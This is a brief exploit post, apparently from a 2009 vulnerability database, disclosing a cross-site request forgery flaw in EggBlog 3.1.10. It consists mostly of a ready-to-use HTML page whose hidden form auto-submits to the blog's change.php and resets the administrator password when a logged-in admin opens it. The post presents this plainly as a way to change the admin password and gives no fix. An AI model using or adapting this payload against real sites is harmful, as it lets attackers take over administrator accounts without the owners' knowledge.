EggBlog 3.1.10 Change Admin Pass CSRF Vulnerability
2009-01-01 03:41:47| |
| Project: EggBlog v 3.1.10 |
| Author: x0r |
| Email: andry2000[at]hotmail[dot]it |
|________________________________________________________________________|
Code:
<html>
<title>x0r :P </title>
<form id="forum-form" name="forumform"
method="post" action="http://[site]/[path]/change.php">
<input type="hidden"
size="30" id="forumpassword" name="password" />
<input type="hidden"
name="submit" value="Submit" />
<script>document.forumform.submit()</script>
</form>
</HTML>
With this csrf you can change the admin pass ^ ^
#
Fixes
No fixesPer poter inviare un fix è necessario essere utenti registrati.